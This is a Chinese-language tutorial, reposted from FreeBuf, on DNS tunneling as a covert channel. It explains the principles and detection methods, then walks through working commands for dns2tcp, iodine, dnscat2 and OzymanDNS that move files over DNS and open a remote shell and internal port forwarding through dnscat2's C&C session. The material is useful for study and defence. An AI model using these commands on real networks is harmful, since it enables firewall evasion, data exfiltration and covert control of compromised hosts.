DNS隧道和工具
DNS Tunneling及相关实现
转自：http://www.freebuf.com/sectool/112076.html
DNS Tunneling，是隐蔽信道的一种，通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务，所以大部分防火墙和入侵检测设备很少会过滤DNS流量，这就给DNS作为一种隐蔽信道提供了条件，从而可以利用它实现诸如远程控制，文件传输等操作，现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。
DNS概述
DNS在我们的网络世界中是一个非常重要的协议，它将长串的不适合记忆的IP地址映射成可读性较强的字符域名。整个域名空间呈层次化的树状结构，顶层是根域，全球一共有13个根域。根域下为我们平常熟悉的顶级域，如.com,.net,.org等。域名的存储、解析和管理都要通过域名服务器来实现。根据域名所属域和授权范围可以划分Zone，Zone上的主服务器和辅服务器均被称为权威域名服务器。权威域名服务器上保存了该域的所有主机信息。
DNS的记录类型有很多，大家常见的有A，AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A，MX，CNAME,TXT，NULL等。
DNS的解析过程可以分为两种类型：迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询，而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力，提高解析速度，引入了缓存机制。缓存和TTL紧密相连，当TTL过期，Local DNS Server则会丢弃缓存的数据，重新从权威域名服务器上获取新的数据。
DNS Tunneling原理简述
DNS Tunneling可以分为直连和中继两种。直连也就是Client直接和指定的目标DNS Server(Authoritative NS Server)连接，通过将数据编码封装在DNS协议中进行通信，这种方式速度快，但是隐蔽性比较弱，很容易被探测到，另外限制比较高，很多场景不允许自己指定DNS Server。而通过DNS迭代查询而实现的中继隧道，则更为隐秘，但同时因为数据包到达目标DNS Server前需要经过多个节点，所以速度上较直连慢很多。DNS Tunneling的中继模式过程如下图所示。
上图中，UserA 和User B由于防火墙D的规则限制无法访问外网,但防火墙上对于DNS的流量是放行的。当User需要解析的域名Local DNS Server无法给出回答时，Local DNS Server就会采用迭代查询通过互联网与各级域的权威服务器进行查询，比如从com域的服务器得到test.com域的权威服务器地址，最后定位到所查询域的权威DNS Server，形成一个逻辑信道。所以，我们可以将通信的数据封装在客户端查询的请求中，当请求的数据包经过上图的路径，最终到达我们控制的权威DNS Server时，再从请求数据包中解析出数据，并将相应的数据封装在DNS Response中，返回给Client完成通信。(Local DNS Server可以由Remote DNS Server代替，原理相同)
关键技术
中继过程中的一个关键点是对DNS缓存机制的规避，因为如果需要解析的域名在Local DNS Server中已经有缓存时，Local DNS Server就不会转发数据包。所以在我们构造的请求中，每次查询的域名都是不一样的或者是已经是过期的。
对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看，载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器，查询的主机名为2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息，这串字符解码后的信息便是dnstunneling。
最后，因为大多数场景下，内网的Client位于防火墙后，Server不可能发起连接。所以大多数工具，Client会定时向Server发送请求，保证二者之间的通信状态。
实现工具及检测
DNS Tunneling从提出到现在已经有了很多的实现工具，历史比较早的有NSTX，Ozymandns，目前比较活跃的有iodine，dnscat2，其他的还有DeNise，dns2tcp，Heyoka等。不同工具的核心原理相似，但在编码，实现细节和目标应用场景方面存在一定的差异性。
目前已经提出了多种检测技术，例如通过请求和相应包的大小进行监测，通常dns tunneling为了取得较大的带宽，会选择构造尽量大的dns请求和响应。还可以通过分析一定时间窗口内所产生的FQDN数，通常DNS Tunneling的FQDN数在一定时间窗口内会远高于正常的DNS流量。另外在Detecting DNS Tunnels Using Character Frequency Analysis论文中，证明了还可以通过词频的检测识别DNS Tunneling的流量。根据Zipf定律，在自然语言的语料库里，一个单词出现的次数与它在频率表里的排名成反比。正常的域名也符合这个定律。而在这篇论文中，证明了DNS Tunneling中由于域名做了编码，不符合Zipf定律，整个分布趋于平稳。另外很多DNS Tunneling使用TXT记录类型发送请求和响应，而在正常的DNS网络流量中，TXT记录的比例可能只有1%-2%，如果时间窗口内，TXT记录的比例激增，那么也意味着存在异常。
测试平台
我的测试平台直接部署在真实的网络环境中。
客户端: kali x64
服务端: vps (日本)
Local DNS: 谷歌(8.8.8.8)，阿里(223.5.5.5)，DNSPoD(119.29.29.29)
公网域名: xxx.xxx （以下用代替）
权威DNS Server配置
采用中继模式工作，所有工具的基础是需要配置一台权威DNS Server。如果没有公网域名可以从freedns注册三级域名，不过有的地区好像不可用。
注册完域名后，我们需要配置一个A记录和一个NS记录(也可以配置多个NS记录)。如
ns.domain.com IN A xxx.xxx.xxx.xxx
abc.domain.com IN NS ns.domain.com
详细的配置过程可以参考这个链接
Dns2tcp
dns2tcp 是一个利用DNS隧道转发TCP连接的工具，支持KEY和TXT类型的请求，用C语言开发。它分为两个部分，服务端和客户端，服务端运行在linux服务器上，客户端可以运行在linux和windows上(其他平台没有测试过)，编译完成后在服务端上的可执行文件名称为dns2tcpd，在客户端(linux)上的名称为dns2tcpc，kali默认安装了二者。下述为主要参数及解释，详情请参考手册。
dns2tcpd
-F 强制在在台运行，默认在后台
-i IP address
监听ip，默认0.0.0.0
-f 配置文件
指定使用的配置文件路径
-d debug level
指定调试级别，输出相关级别日志，默认为1，2，3
dns2tcpc
-c : 启用压缩
-z <domain> : 指定所使用的域名
-d <1|2|3> : 调试级别 (1, 2 or 3)
-r <resource> : 访问的目标资源
-f <filename> : 配置文件路径
-l <port|-> : 本地监听端口
-T <TXT|KEY> : DNS请求类型，默认为TXT
配置文件
为了避免运行时指定太多的参数，可以通过指定配置文件来启动服务端。示例如下：
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = <domain.com>
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http: 127.0.0.1:3128,nc:127.0.0.1:2222
其中resource这个参数稍作解释:
格式：<name>:<ip>:<port>
其中name为自定义标识，通常为本地开启的目标服务名称，ip如果是本机为127.0.0.1， 端口则为目标服务所监听的端口，或者说服务端通过该端口将流量转发给目标服务。例如希望在服务端和客户端用nc来进行对接传输文件，我可以自定义nc:127.0.0.1:2222。
在客户端不指定resource这个参数的时候，会列出对应server可以接受的资源。
示例
服务端
dns2tcpd -f /etc/dns2tcpd.conf -d 3
nc -l 2222 > test.txt
客户端
dns2tcpc -r nc -d 3 -z <domain.com> <server ip> -l 8888
nc 127.0.0.1 8888 < test.txt
在服务端开启dns2tcp服务，强制在前台运行，并设置调试级别，从而能比较清楚的看到服务端的日志。同时使用nc 在2222端口开启监听，将数据重定向输出到test.txt文件。
客户端通过制定nc资源，所使用的域名，目标dns server的ip，以及指定本地的8888监听端口与dns server建立通信连接，同时也用nc访问本地8888端口，并用test.txt进行重定向输入。
通过在服务端和客户端使用nc进行双向对接，我们可以利用dns2tcp完成文件传输。
初步分析
通过抓包提取dns协议里的附件字段或者直接查看在客户端打出的log，可以发现clent通过TXT类型记录的域名前缀来发出数据，通过DNS RR中的TXT记录来附加回应的内容。域名前缀和回应内容均采用base64编码，如果提取单条数据，进行base64解码，即可看到传输的内容。
从发包行为上可以发现，如果在进行传输数据这种大量数据交互操作的情况，dns2tcp会将数据切分成若干个小单元，依次发出，时间间隔非常小，而当无数据交互，空闲时，两端仍然通过发包维持通信状态，客户端大约每隔0.6s发出一个状态包。
从捕包的源IP和目的IP来看，dns2tcp并不是利用dns中继进行通信的，而是直接和目的DNS服务器(服务端)直接通信。
iodine
iodine是目前比较活跃，知名度比较大的一个dns tunneling实现工具，平台覆盖范围广，它可以运行在Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上，甚至还有android客户端，不过它需要安装TUN/TAP。官方称上行速度最大680 kbit/s，下行速度上限可以达到2.3Mbit/s。
安装
官网上给出了安装方法，可以通过make &make install安装。另外，如果在centos 7上，我发现可以通过yum直接安装。而在kali中，也可以通过apt-get直接安装。
在iodine的测试过程中，我使用过3家公用dns，分别是阿里的dns-223.5.5.5，dnspod的dns-119.29.29.29,谷歌dns-8.8.8.8。阿里dns在中继模式下无法指定NULL类型的查询请求，而DNSPOD和google可以，且同为国内dns，阿里的速度不如dnspod，这个因具体网络环境不同，国内两家dns在中继模式下传输3M文件，需手调参数，自动模式下很容易传输中途失败。而谷歌dns速度明显较国内两家快很多，自动模式下即可轻松完成传输。
参数说明
Server:
iodined [options] <tunnel_ip> <topdomain>
tunnel_ip : 指定server在TUN接口上的IP，客户端的TUN接口IP会和服务端在同一子网内
topdomain : 用来构造域名的上级域，也就是我们ns记录中的指定域名
Options:
-D : 指定调试级别，-DD指第二级，‘D’随等级增加
Client:
iodine [options] <topdomain>
Options:
-r : 采用DNS中继模式传输数据
-M : 指定上行主机名大小
-m : 调节最大下行分片大小
-T : 指定所使用的DNS请求类型，可选有NULL,PRIVATE,TXT,SRV,MX,CNAME,A
-O : 指定数据编码规范
-L : 是否使用懒惰模式，默认开启
-I : 指定请求间的时间间隔
公用Options:
-f : 前台运行
-P password : 指定一个password进行认证，如果不指定，后续会提示
使用示例
服务端：
iodined -c -P 123pass 192.168.99.1 <domain.com> -DDD
nc -l 1234 < test.txt
客户端：
iodine -f -P 123pass <domain.com> -r
nc 192.168.99.1 1234 < test.txt
使用dnspod时，客户端指定某些参数以完成整个传输
iodine -f -P 123pass <domain.com> -r -T CNAME -O base64u -m 512 -L0
补充，在我的测试环境中必须加-r和-M，否则无法建立连接：sudo iodine -r -f -P 123pass <domain.com> -M 200
特性分析
iodine支持直接转发和中继两种模式。客户端和服务端建立通信后，可以看到客户机上多出一块名为dns0的虚拟网卡。iodine支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型,并且支持EDNS,支持base32，base64，base128等多种编码规范。iodine在直连模式下，速度相当可观，我试过建立隧道后，用ssh做代理转发，可以流畅播放youtube 1080p，原理暂未分析。在中继模式下，使用谷歌的dns，也是Dns Tunneling工具中速度最快的。更多使用方法和功能特性请参考官方文档。
Dnscat2
Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构，Client位于感染主机，而Server位于权威域名服务器上，如果没有权威域名服务器，则可以采用直连模式。作者很坚持Dnscat2是一个命令与控制工具，并非像其他的DNS Tunneling工具一样可以用来摆脱web收费验证，免费上网。
安装
Dnscat2客户端基于C开发的，服务器端基于ruby开发。github官方主页上给出了详细的安装步骤及可能遇到的问题，请参考github Readme。
在测试过程中，我原本使用的DNS是dnspod的公用dns，但是发现包传输出错率较高，延迟大，可能由于我的vps在境外，所以改用google 8.8.8.8后，效果明显好转。可能因具体网络环境而异。
使用示例
服务端：
ruby ./dnscat2.rb <domain.com>
客户端：
./dnscat2 <domain.com>
服务端建立好后，可以用如下命令测试Client是否能和服务端成功建立通信。
./dnscat --ping <domain.com>
Dnscat2服务端的是交互模式，作者说采用这种设计是受metasploit和meteprete的启发。而服务端的使用方法也确实和metasploit和meteprete的使用方法类似，所以大家应该不难上手。
客户端和服务端建立通信后，就没有客户端什么事了，服务端此时处于交互模式下，作者为大家提供了很多windows来作为管理会话和连接的窗口，默认为主window，用windows可以查看目前有哪些window存在，每个连接都是一个独立的window，window -i 1进入1号window，此时可以用help命令还查看都有哪些功能，如下所示：
- clear delay download echo exec listen ping shell
其中，shell可以建立到对应客户端的shell，download可以直接下载文件，不过需要注意的是download默认是将所有的数据先写入缓存，最后一次写入硬盘，所以在传输较大文件时，很长时间会发现没有文件产生。
端口转发
在window下有个listen的功能，它提供了端口转发的功能，可以通过它直接渗透内网。使用方法类似SSH -L。
listen [lhost]:[lport] [rhost]:[rport]
以上传文件为例：
客户端A：10.211.55.1
内网某机器B：10.211.55.2
服务端(DNS)C: 172.16.18.2
此时，A和C已经建立连接。
服务端C命令：
listen [127.0.0.1]:2222 10.211.55.2:1234
nc 127.0.0.1 2222 < test.txt
客户端A：
nc -l 1234 > test.txt
其他特性
Dnscat2 默认是加密的，服务端可以通过–security=open关闭加密。可以提高传输的稳定性。
Dnscat2 还提供了多域名并发特性，可以将多个子域绑定在同一个NS下，然后在服务端同时接收多个客户端连接。不过，没有找到一个客户端连接利用多域名通信的方法，不知道作者有没有实现这个功能。
操作命令如下：
服务端
ruby dnscat2.rb --dns=port=53532 --security=open
dnscat2> start --dns domain=<domain.com>,domain=<domain.com>
客户端：
./dncat <domain.com>
我试过 “./dncat –dns domain=,domain=”，想在一个客户端利用多域名通信，然而通过抓取流量分析，还是只用了一个域名。
Dnscat2 利用的DNS请求类型默认是TXT,CNAME,MX随机混合使用，可以在运行时通过参数自定义。
OzymanDNS
OzymanDNS是较早的一个工具，它基于perl开发，我只在作者博客上找到了一个0.1版本，它的主要功能就是结合ssh做文件传输。请求类型是TXT，用base32编码，响应用base64编码。
安装
OzymanDNS需要依赖其他的perl模块，所以安装的时候需要根据提示完成一些其他的依赖。
使用示例
服务端：
./nomde.pl -i 0.0.0.0 <domain.com>
nc -l 1234 > test.txt
客户端：
ssh -o ProxyCommand="./droute.pl sshdns.domain.com" -L 7777:127.0.0.1:1234 -Nf user@host
nc 127.0.0.1 7777 < test.txt
客户端使用了SSH -L 的端口转发功能。
特性分析
在示例的文件传输过程中，每16k写入一次硬盘。Ozymandns的功能较单一，不如前几个那么稳健强大。而且年久失修，只能作为一个参考，我在测试过程中，始终无法顺利完成一个大于1M的文件传输。
总结
通过对四个工具的测试，Ozymandns是比较老旧了，功能单一，没有实用价值。Dns2tcp采用直连，但速度不是特别乐观，优势在于kali直接集成了这个工具，部分linux发行版也都可以直接通过包工具下载，相对方便。iodine和Dnscat2则是目前的主流，Dnscat2提供了灵活的交互模式，而iodine则在编码，请求类型上提供了更丰富的选择，而且在速度方面，其他工具望尘莫及。
Ref：
- Detecting DNS Tunnels Using Character Frequency Analysis. Kenton Born,Dr. David Gustafson
- Domain Name System
